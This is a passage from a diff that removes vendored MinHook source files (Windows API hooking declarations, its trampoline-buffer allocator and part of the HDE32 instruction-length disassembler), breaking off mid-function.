MH_ERROR_DISABLED,
|
|
||||||
|
|
||||||
// The specified pointer is invalid. It points the address of non-allocated
|
|
||||||
// and/or non-executable region.
|
|
||||||
MH_ERROR_NOT_EXECUTABLE,
|
|
||||||
|
|
||||||
// The specified target function cannot be hooked.
|
|
||||||
MH_ERROR_UNSUPPORTED_FUNCTION,
|
|
||||||
|
|
||||||
// Failed to allocate memory.
|
|
||||||
MH_ERROR_MEMORY_ALLOC,
|
|
||||||
|
|
||||||
// Failed to change the memory protection.
|
|
||||||
MH_ERROR_MEMORY_PROTECT,
|
|
||||||
|
|
||||||
// The specified module is not loaded.
|
|
||||||
MH_ERROR_MODULE_NOT_FOUND,
|
|
||||||
|
|
||||||
// The specified function is not found.
|
|
||||||
MH_ERROR_FUNCTION_NOT_FOUND
|
|
||||||
}
|
|
||||||
MH_STATUS;
|
|
||||||
|
|
||||||
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
|
|
||||||
// MH_QueueEnableHook or MH_QueueDisableHook.
|
|
||||||
#define MH_ALL_HOOKS NULL
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// Initialize the MinHook library. You must call this function EXACTLY ONCE
|
|
||||||
// at the beginning of your program.
|
|
||||||
MH_STATUS WINAPI MH_Initialize(VOID);
|
|
||||||
|
|
||||||
// Uninitialize the MinHook library. You must call this function EXACTLY
|
|
||||||
// ONCE at the end of your program.
|
|
||||||
MH_STATUS WINAPI MH_Uninitialize(VOID);
|
|
||||||
|
|
||||||
// Creates a hook for the specified target function, in disabled state.
|
|
||||||
// Parameters:
|
|
||||||
// pTarget [in] A pointer to the target function, which will be
|
|
||||||
// overridden by the detour function.
|
|
||||||
// pDetour [in] A pointer to the detour function, which will override
|
|
||||||
// the target function.
|
|
||||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
|
||||||
// used to call the original target function.
|
|
||||||
// This parameter can be NULL.
|
|
||||||
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal);
|
|
||||||
|
|
||||||
// Creates a hook for the specified API function, in disabled state.
|
|
||||||
// Parameters:
|
|
||||||
// pszModule [in] A pointer to the loaded module name which contains the
|
|
||||||
// target function.
|
|
||||||
// pszProcName [in] A pointer to the target function name, which will be
|
|
||||||
// overridden by the detour function.
|
|
||||||
// pDetour [in] A pointer to the detour function, which will override
|
|
||||||
// the target function.
|
|
||||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
|
||||||
// used to call the original target function.
|
|
||||||
// This parameter can be NULL.
|
|
||||||
MH_STATUS WINAPI MH_CreateHookApi(
|
|
||||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal);
|
|
||||||
|
|
||||||
// Creates a hook for the specified API function, in disabled state.
|
|
||||||
// Parameters:
|
|
||||||
// pszModule [in] A pointer to the loaded module name which contains the
|
|
||||||
// target function.
|
|
||||||
// pszProcName [in] A pointer to the target function name, which will be
|
|
||||||
// overridden by the detour function.
|
|
||||||
// pDetour [in] A pointer to the detour function, which will override
|
|
||||||
// the target function.
|
|
||||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
|
||||||
// used to call the original target function.
|
|
||||||
// This parameter can be NULL.
|
|
||||||
// ppTarget [out] A pointer to the target function, which will be used
|
|
||||||
// with other functions.
|
|
||||||
// This parameter can be NULL.
|
|
||||||
MH_STATUS WINAPI MH_CreateHookApiEx(
|
|
||||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal, LPVOID *ppTarget);
|
|
||||||
|
|
||||||
// Removes an already created hook.
|
|
||||||
// Parameters:
|
|
||||||
// pTarget [in] A pointer to the target function.
|
|
||||||
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
|
|
||||||
|
|
||||||
// Enables an already created hook.
|
|
||||||
// Parameters:
|
|
||||||
// pTarget [in] A pointer to the target function.
|
|
||||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
|
||||||
// enabled in one go.
|
|
||||||
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
|
|
||||||
|
|
||||||
// Disables an already created hook.
|
|
||||||
// Parameters:
|
|
||||||
// pTarget [in] A pointer to the target function.
|
|
||||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
|
||||||
// disabled in one go.
|
|
||||||
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
|
|
||||||
|
|
||||||
// Queues to enable an already created hook.
|
|
||||||
// Parameters:
|
|
||||||
// pTarget [in] A pointer to the target function.
|
|
||||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
|
||||||
// queued to be enabled.
|
|
||||||
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
|
|
||||||
|
|
||||||
// Queues to disable an already created hook.
|
|
||||||
// Parameters:
|
|
||||||
// pTarget [in] A pointer to the target function.
|
|
||||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
|
||||||
// queued to be disabled.
|
|
||||||
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
|
|
||||||
|
|
||||||
// Applies all queued changes in one go.
|
|
||||||
MH_STATUS WINAPI MH_ApplyQueued(VOID);
|
|
||||||
|
|
||||||
// Translates the MH_STATUS to its name as a string.
|
|
||||||
const char *WINAPI MH_StatusToString(MH_STATUS status);
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
@@ -1,312 +0,0 @@
|
|||||||
/*
|
|
||||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
|
||||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
|
||||||
* All rights reserved.
|
|
||||||
*
|
|
||||||
* Redistribution and use in source and binary forms, with or without
|
|
||||||
* modification, are permitted provided that the following conditions
|
|
||||||
* are met:
|
|
||||||
*
|
|
||||||
* 1. Redistributions of source code must retain the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer.
|
|
||||||
* 2. Redistributions in binary form must reproduce the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer in the
|
|
||||||
* documentation and/or other materials provided with the distribution.
|
|
||||||
*
|
|
||||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
|
||||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
|
||||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
|
||||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
|
||||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
|
||||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
|
||||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
|
||||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
|
||||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
|
||||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
|
||||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
*/
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
#include "buffer.h"
|
|
||||||
|
|
||||||
// Size of each memory block. (= page size of VirtualAlloc)
|
|
||||||
#define MEMORY_BLOCK_SIZE 0x1000
|
|
||||||
|
|
||||||
// Max range for seeking a memory block. (= 1024MB)
|
|
||||||
#define MAX_MEMORY_RANGE 0x40000000
|
|
||||||
|
|
||||||
// Memory protection flags to check the executable address.
|
|
||||||
#define PAGE_EXECUTE_FLAGS \
|
|
||||||
(PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY)
|
|
||||||
|
|
||||||
// Memory slot.
|
|
||||||
typedef struct _MEMORY_SLOT
|
|
||||||
{
|
|
||||||
union
|
|
||||||
{
|
|
||||||
struct _MEMORY_SLOT *pNext;
|
|
||||||
UINT8 buffer[MEMORY_SLOT_SIZE];
|
|
||||||
};
|
|
||||||
} MEMORY_SLOT, *PMEMORY_SLOT;
|
|
||||||
|
|
||||||
// Memory block info. Placed at the head of each block.
|
|
||||||
typedef struct _MEMORY_BLOCK
|
|
||||||
{
|
|
||||||
struct _MEMORY_BLOCK *pNext;
|
|
||||||
PMEMORY_SLOT pFree; // First element of the free slot list.
|
|
||||||
UINT usedCount;
|
|
||||||
} MEMORY_BLOCK, *PMEMORY_BLOCK;
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
// Global Variables:
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
|
|
||||||
// First element of the memory block list.
|
|
||||||
static PMEMORY_BLOCK g_pMemoryBlocks;
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
VOID InitializeBuffer(VOID)
|
|
||||||
{
|
|
||||||
// Nothing to do for now.
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
VOID UninitializeBuffer(VOID)
|
|
||||||
{
|
|
||||||
PMEMORY_BLOCK pBlock = g_pMemoryBlocks;
|
|
||||||
g_pMemoryBlocks = NULL;
|
|
||||||
|
|
||||||
while (pBlock)
|
|
||||||
{
|
|
||||||
PMEMORY_BLOCK pNext = pBlock->pNext;
|
|
||||||
VirtualFree(pBlock, 0, MEM_RELEASE);
|
|
||||||
pBlock = pNext;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
static LPVOID FindPrevFreeRegion(LPVOID pAddress, LPVOID pMinAddr, DWORD dwAllocationGranularity)
|
|
||||||
{
|
|
||||||
ULONG_PTR tryAddr = (ULONG_PTR)pAddress;
|
|
||||||
|
|
||||||
// Round down to the allocation granularity.
|
|
||||||
tryAddr -= tryAddr % dwAllocationGranularity;
|
|
||||||
|
|
||||||
// Start from the previous allocation granularity multiply.
|
|
||||||
tryAddr -= dwAllocationGranularity;
|
|
||||||
|
|
||||||
while (tryAddr >= (ULONG_PTR)pMinAddr)
|
|
||||||
{
|
|
||||||
MEMORY_BASIC_INFORMATION mbi;
|
|
||||||
if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0)
|
|
||||||
break;
|
|
||||||
|
|
||||||
if (mbi.State == MEM_FREE)
|
|
||||||
return (LPVOID)tryAddr;
|
|
||||||
|
|
||||||
if ((ULONG_PTR)mbi.AllocationBase < dwAllocationGranularity)
|
|
||||||
break;
|
|
||||||
|
|
||||||
tryAddr = (ULONG_PTR)mbi.AllocationBase - dwAllocationGranularity;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
static LPVOID FindNextFreeRegion(LPVOID pAddress, LPVOID pMaxAddr, DWORD dwAllocationGranularity)
|
|
||||||
{
|
|
||||||
ULONG_PTR tryAddr = (ULONG_PTR)pAddress;
|
|
||||||
|
|
||||||
// Round down to the allocation granularity.
|
|
||||||
tryAddr -= tryAddr % dwAllocationGranularity;
|
|
||||||
|
|
||||||
// Start from the next allocation granularity multiply.
|
|
||||||
tryAddr += dwAllocationGranularity;
|
|
||||||
|
|
||||||
while (tryAddr <= (ULONG_PTR)pMaxAddr)
|
|
||||||
{
|
|
||||||
MEMORY_BASIC_INFORMATION mbi;
|
|
||||||
if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0)
|
|
||||||
break;
|
|
||||||
|
|
||||||
if (mbi.State == MEM_FREE)
|
|
||||||
return (LPVOID)tryAddr;
|
|
||||||
|
|
||||||
tryAddr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize;
|
|
||||||
|
|
||||||
// Round up to the next allocation granularity.
|
|
||||||
tryAddr += dwAllocationGranularity - 1;
|
|
||||||
tryAddr -= tryAddr % dwAllocationGranularity;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static PMEMORY_BLOCK GetMemoryBlock(LPVOID pOrigin)
|
|
||||||
{
|
|
||||||
PMEMORY_BLOCK pBlock;
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
ULONG_PTR minAddr;
|
|
||||||
ULONG_PTR maxAddr;
|
|
||||||
|
|
||||||
SYSTEM_INFO si;
|
|
||||||
GetSystemInfo(&si);
|
|
||||||
minAddr = (ULONG_PTR)si.lpMinimumApplicationAddress;
|
|
||||||
maxAddr = (ULONG_PTR)si.lpMaximumApplicationAddress;
|
|
||||||
|
|
||||||
// pOrigin ± 512MB
|
|
||||||
if ((ULONG_PTR)pOrigin > MAX_MEMORY_RANGE && minAddr < (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE)
|
|
||||||
minAddr = (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE;
|
|
||||||
|
|
||||||
if (maxAddr > (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE)
|
|
||||||
maxAddr = (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE;
|
|
||||||
|
|
||||||
// Make room for MEMORY_BLOCK_SIZE bytes.
|
|
||||||
maxAddr -= MEMORY_BLOCK_SIZE - 1;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// Look the registered blocks for a reachable one.
|
|
||||||
for (pBlock = g_pMemoryBlocks; pBlock != NULL; pBlock = pBlock->pNext)
|
|
||||||
{
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
// Ignore the blocks too far.
|
|
||||||
if ((ULONG_PTR)pBlock < minAddr || (ULONG_PTR)pBlock >= maxAddr)
|
|
||||||
continue;
|
|
||||||
#endif
|
|
||||||
// The block has at least one unused slot.
|
|
||||||
if (pBlock->pFree != NULL)
|
|
||||||
return pBlock;
|
|
||||||
}
|
|
||||||
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
// Alloc a new block above if not found.
|
|
||||||
{
|
|
||||||
LPVOID pAlloc = pOrigin;
|
|
||||||
while ((ULONG_PTR)pAlloc >= minAddr)
|
|
||||||
{
|
|
||||||
pAlloc = FindPrevFreeRegion(pAlloc, (LPVOID)minAddr, si.dwAllocationGranularity);
|
|
||||||
if (pAlloc == NULL)
|
|
||||||
break;
|
|
||||||
|
|
||||||
pBlock = (PMEMORY_BLOCK)VirtualAlloc(
|
|
||||||
pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
||||||
if (pBlock != NULL)
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Alloc a new block below if not found.
|
|
||||||
if (pBlock == NULL)
|
|
||||||
{
|
|
||||||
LPVOID pAlloc = pOrigin;
|
|
||||||
while ((ULONG_PTR)pAlloc <= maxAddr)
|
|
||||||
{
|
|
||||||
pAlloc = FindNextFreeRegion(pAlloc, (LPVOID)maxAddr, si.dwAllocationGranularity);
|
|
||||||
if (pAlloc == NULL)
|
|
||||||
break;
|
|
||||||
|
|
||||||
pBlock = (PMEMORY_BLOCK)VirtualAlloc(
|
|
||||||
pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
||||||
if (pBlock != NULL)
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
#else
|
|
||||||
// In x86 mode, a memory block can be placed anywhere.
|
|
||||||
pBlock = (PMEMORY_BLOCK)VirtualAlloc(
|
|
||||||
NULL, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
if (pBlock != NULL)
|
|
||||||
{
|
|
||||||
// Build a linked list of all the slots.
|
|
||||||
PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBlock + 1;
|
|
||||||
pBlock->pFree = NULL;
|
|
||||||
pBlock->usedCount = 0;
|
|
||||||
do
|
|
||||||
{
|
|
||||||
pSlot->pNext = pBlock->pFree;
|
|
||||||
pBlock->pFree = pSlot;
|
|
||||||
pSlot++;
|
|
||||||
} while ((ULONG_PTR)pSlot - (ULONG_PTR)pBlock <= MEMORY_BLOCK_SIZE - MEMORY_SLOT_SIZE);
|
|
||||||
|
|
||||||
pBlock->pNext = g_pMemoryBlocks;
|
|
||||||
g_pMemoryBlocks = pBlock;
|
|
||||||
}
|
|
||||||
|
|
||||||
return pBlock;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
LPVOID AllocateBuffer(LPVOID pOrigin)
|
|
||||||
{
|
|
||||||
PMEMORY_SLOT pSlot;
|
|
||||||
PMEMORY_BLOCK pBlock = GetMemoryBlock(pOrigin);
|
|
||||||
if (pBlock == NULL)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
// Remove an unused slot from the list.
|
|
||||||
pSlot = pBlock->pFree;
|
|
||||||
pBlock->pFree = pSlot->pNext;
|
|
||||||
pBlock->usedCount++;
|
|
||||||
#ifdef _DEBUG
|
|
||||||
// Fill the slot with INT3 for debugging.
|
|
||||||
memset(pSlot, 0xCC, sizeof(MEMORY_SLOT));
|
|
||||||
#endif
|
|
||||||
return pSlot;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
VOID FreeBuffer(LPVOID pBuffer)
|
|
||||||
{
|
|
||||||
PMEMORY_BLOCK pBlock = g_pMemoryBlocks;
|
|
||||||
PMEMORY_BLOCK pPrev = NULL;
|
|
||||||
ULONG_PTR pTargetBlock = ((ULONG_PTR)pBuffer / MEMORY_BLOCK_SIZE) * MEMORY_BLOCK_SIZE;
|
|
||||||
|
|
||||||
while (pBlock != NULL)
|
|
||||||
{
|
|
||||||
if ((ULONG_PTR)pBlock == pTargetBlock)
|
|
||||||
{
|
|
||||||
PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBuffer;
|
|
||||||
#ifdef _DEBUG
|
|
||||||
// Clear the released slot for debugging.
|
|
||||||
memset(pSlot, 0x00, sizeof(MEMORY_SLOT));
|
|
||||||
#endif
|
|
||||||
// Restore the released slot to the list.
|
|
||||||
pSlot->pNext = pBlock->pFree;
|
|
||||||
pBlock->pFree = pSlot;
|
|
||||||
pBlock->usedCount--;
|
|
||||||
|
|
||||||
// Free if unused.
|
|
||||||
if (pBlock->usedCount == 0)
|
|
||||||
{
|
|
||||||
if (pPrev)
|
|
||||||
pPrev->pNext = pBlock->pNext;
|
|
||||||
else
|
|
||||||
g_pMemoryBlocks = pBlock->pNext;
|
|
||||||
|
|
||||||
VirtualFree(pBlock, 0, MEM_RELEASE);
|
|
||||||
}
|
|
||||||
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
pPrev = pBlock;
|
|
||||||
pBlock = pBlock->pNext;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
BOOL IsExecutableAddress(LPVOID pAddress)
|
|
||||||
{
|
|
||||||
MEMORY_BASIC_INFORMATION mi;
|
|
||||||
VirtualQuery(pAddress, &mi, sizeof(mi));
|
|
||||||
|
|
||||||
return (mi.State == MEM_COMMIT && (mi.Protect & PAGE_EXECUTE_FLAGS));
|
|
||||||
}
|
|
||||||
@@ -1,42 +0,0 @@
|
|||||||
/*
|
|
||||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
|
||||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
|
||||||
* All rights reserved.
|
|
||||||
*
|
|
||||||
* Redistribution and use in source and binary forms, with or without
|
|
||||||
* modification, are permitted provided that the following conditions
|
|
||||||
* are met:
|
|
||||||
*
|
|
||||||
* 1. Redistributions of source code must retain the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer.
|
|
||||||
* 2. Redistributions in binary form must reproduce the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer in the
|
|
||||||
* documentation and/or other materials provided with the distribution.
|
|
||||||
*
|
|
||||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
|
||||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
|
||||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
|
||||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
|
||||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
|
||||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
|
||||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
|
||||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
|
||||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
|
||||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
|
||||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
*/
|
|
||||||
|
|
||||||
#pragma once
|
|
||||||
|
|
||||||
// Size of each memory slot.
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
#define MEMORY_SLOT_SIZE 64
|
|
||||||
#else
|
|
||||||
#define MEMORY_SLOT_SIZE 32
|
|
||||||
#endif
|
|
||||||
|
|
||||||
VOID InitializeBuffer(VOID);
|
|
||||||
VOID UninitializeBuffer(VOID);
|
|
||||||
LPVOID AllocateBuffer(LPVOID pOrigin);
|
|
||||||
VOID FreeBuffer(LPVOID pBuffer);
|
|
||||||
BOOL IsExecutableAddress(LPVOID pAddress);
|
|
||||||
@@ -1,324 +0,0 @@
|
|||||||
/*
|
|
||||||
* Hacker Disassembler Engine 32 C
|
|
||||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
|
||||||
* All rights reserved.
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
|
|
||||||
#if defined(_M_IX86) || defined(__i386__)
|
|
||||||
|
|
||||||
#include <string.h>
|
|
||||||
#include "hde32.h"
|
|
||||||
#include "table32.h"
|
|
||||||
|
|
||||||
unsigned int hde32_disasm(const void *code, hde32s *hs)
|
|
||||||
{
|
|
||||||
uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
|
|
||||||
uint8_t *ht = hde32_table, m_mod, m_reg, m_rm, disp_size = 0;
|
|
||||||
|
|
||||||
memset(hs, 0, sizeof(hde32s));
|
|
||||||
|
|
||||||
for (x = 16; x; x--)
|
|
||||||
switch (c = *p++) {
|
|
||||||
case 0xf3:
|
|
||||||
hs->p_rep = c;
|
|
||||||
pref |= PRE_F3;
|
|
||||||
break;
|
|
||||||
case 0xf2:
|
|
||||||
hs->p_rep = c;
|
|
||||||
pref |= PRE_F2;
|
|
||||||
break;
|
|
||||||
case 0xf0:
|
|
||||||
hs->p_lock = c;
|
|
||||||
pref |= PRE_LOCK;
|
|
||||||
break;
|
|
||||||
case 0x26: case 0x2e: case 0x36:
|
|
||||||
case 0x3e: case 0x64: case 0x65:
|
|
||||||
hs->p_seg = c;
|
|
||||||
pref |= PRE_SEG;
|
|
||||||
break;
|
|
||||||
case 0x66:
|
|
||||||
hs->p_66 = c;
|
|
||||||
pref |= PRE_66;
|
|
||||||
break;
|
|
||||||
case 0x67:
|
|
||||||
hs->p_67 = c;
|
|
||||||
pref |= PRE_67;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
goto pref_done;
|
|
||||||
}
|
|
||||||
pref_done:
|
|
||||||
|
|
||||||
hs->flags = (uint32_t)pref << 23;
|
|
||||||
|
|
||||||
if (!pref)
|
|
||||||
pref |= PRE_NONE;
|
|
||||||
|
|
||||||
if ((hs->opcode = c) == 0x0f) {
|
|
||||||
hs->opcode2 = c = *p++;
|
|
||||||
ht += DELTA_OPCODES;
|
|
||||||
} else if (c >= 0xa0 && c <= 0xa3) {
|
|
||||||
if (pref & PRE_67)
|
|
||||||
pref |= PRE_66;
|
|
||||||
else
|
|
||||||
pref &= ~PRE_66;
|
|
||||||
}
|
|
||||||
|
|
||||||
opcode = c;
|
|
||||||
cflags = ht[ht[opcode / 4] + (opcode % 4)];
|
|
||||||
|
|
||||||
if (cflags == C_ERROR) {
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
|
||||||
cflags = 0;
|
|
||||||
if ((opcode & -3) == 0x24)
|
|
||||||
cflags++;
|
|
||||||
}
|
|
||||||
|
|
||||||
x = 0;
|
|
||||||
if (cflags & C_GROUP) {
|
|
||||||
uint16_t t;
|
|
||||||
t = *(uint16_t *)(ht + (cflags & 0x7f));
|
|
||||||
cflags = (uint8_t)t;
|
|
||||||
x = (uint8_t)(t >> 8);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (hs->opcode2) {
|
|
||||||
ht = hde32_table + DELTA_PREFIXES;
|
|
||||||
if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (cflags & C_MODRM) {
|
|
||||||
hs->flags |= F_MODRM;
|
|
||||||
hs->modrm = c = *p++;
|
|
||||||
hs->modrm_mod = m_mod = c >> 6;
|
|
||||||
hs->modrm_rm = m_rm = c & 7;
|
|
||||||
hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
|
|
||||||
|
|
||||||
if (x && ((x << m_reg) & 0x80))
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
|
||||||
|
|
||||||
if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
|
|
||||||
uint8_t t = opcode - 0xd9;
|
|
||||||
if (m_mod == 3) {
|
|
||||||
ht = hde32_table + DELTA_FPU_MODRM + t*8;
|
|
||||||
t = ht[m_reg] << m_rm;
|
|
||||||
} else {
|
|
||||||
ht = hde32_table + DELTA_FPU_REG;
|
|
||||||
t = ht[t] << m_reg;
|
|
||||||
}
|
|
||||||
if (t & 0x80)
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (pref & PRE_LOCK) {
|
|
||||||
if (m_mod == 3) {
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
|
||||||
} else {
|
|
||||||
uint8_t *table_end, op = opcode;
|
|
||||||
if (hs->opcode2) {
|
|
||||||
ht = hde32_table + DELTA_OP2_LOCK_OK;
|
|
||||||
table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
|
|
||||||
} else {
|
|
||||||
ht = hde32_table + DELTA_OP_LOCK_OK;
|
|
||||||
table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
|
|
||||||
op &= -2;
|
|
||||||
}
|
|
||||||
for (; ht != table_end; ht++)
|
|
||||||
if (*ht++ == op) {
|
|
||||||
if (!((*ht << m_reg) & 0x80))
|
|
||||||
goto no_lock_error;
|
|
||||||
else
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
|
||||||
no_lock_error:
|
|
||||||
;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (hs->opcode2) {
|
|
||||||
switch (opcode) {
|
|
||||||
case 0x20: case 0x22:
|
|
||||||
m_mod = 3;
|
|
||||||
if (m_reg > 4 || m_reg == 1)
|
|
||||||
goto error_operand;
|
|
||||||
else
|
|
||||||
goto no_error_operand;
|
|
||||||
case 0x21: case 0x23:
|
|
||||||
m_mod = 3;
|
|
||||||
if (m_reg == 4 || m_reg == 5)
|
|
||||||
goto error_operand;
|
|
||||||
else
|
|
||||||
goto no_error_operand;
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
switch (opcode) {
|
|
||||||
case 0x8c:
|
|
||||||
if (m_reg > 5)
|
|
||||||
goto error_operand;
|
|
||||||
else
|
|
||||||
goto no_error_operand;
|
|
||||||
case 0x8e:
|
|
||||||
if (m_reg == 1 || m_reg > 5)
|
|
||||||
goto error_operand;
|
|
||||||
else
|
|
||||||
goto no_error_operand;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (m_mod == 3) {
|
|
||||||
uint8_t *table_end;
|
|
||||||
if (hs->opcode2) {
|
|
||||||
ht = hde32_table + DELTA_OP2_ONLY_MEM;
|
|
||||||
table_end = ht + sizeof(hde32_table) - DELTA_OP2_ONLY_MEM;
|
|
||||||
} else {
|
|
||||||
ht = hde32_table + DELTA_OP_ONLY_MEM;
|
|
||||||
table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
|
|
||||||
}
|
|
||||||
for (; ht != table_end; ht += 2)
|
|
||||||
